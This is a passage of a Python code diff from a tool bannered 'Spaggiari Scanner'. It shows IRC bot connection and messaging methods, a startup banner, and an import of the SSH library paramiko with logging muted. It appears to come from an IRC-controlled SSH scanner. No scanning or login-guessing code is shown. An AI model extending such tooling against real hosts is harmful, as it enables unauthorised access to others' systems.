+                            if line.startswith('ERROR :Closing Link:'):
807
+                                raise Exception('Connection has closed.')
808
+                            else:
809
+                                self.handle_events(line)
810
+                else:
811
+                    error('No data recieved from server.')
812
+                    break
813
+            except (UnicodeDecodeError,UnicodeEncodeError):
814
+                pass
815
+            except Exception as ex:
816
+                error('Unexpected error occured.', ex)
817
+                break
818
+        self.event_disconnect()
819
+
820
+    def nick(self, nick):
821
+        self.raw('NICK ' + nick)
822
+
823
+    def raw(self, msg):
824
+        self.sock.send(bytes(msg + '\r\n', 'utf-8'))
825
+
826
+    def sendmsg(self, target, msg):
827
+        self.raw(f'PRIVMSG {target} :{msg}')
828
+
829
+# Main
830
+print(''.rjust(56, '#'))
831
+print('#{0}#'.format(''.center(54)))
832
+print('#{0}#'.format('Spaggiari Scanner'.center(54)))
833
+print('#{0}#'.format('Developed by acidvegas in Python 3'.center(54)))
834
+print('#{0}#'.format('https://github.com/acidvegas/spaggiari'.center(54)))
835
+print('#{0}#'.format(''.center(54)))
836
+print(''.rjust(56, '#'))
837
+if not sys.version_info.major == 3:
838
+    error_exit('Spaggiari Scanner requires Python version 3 to run!')
839
+try:
840
+    import paramiko
841
+except ImportError:
842
+    error_exit('Failed to import the Paramiko library!')
843
+else:
844
+    paramiko.util.log_to_file(os.devnull)
845
+Spaggiari = IRC()
846
+Spaggiari.start()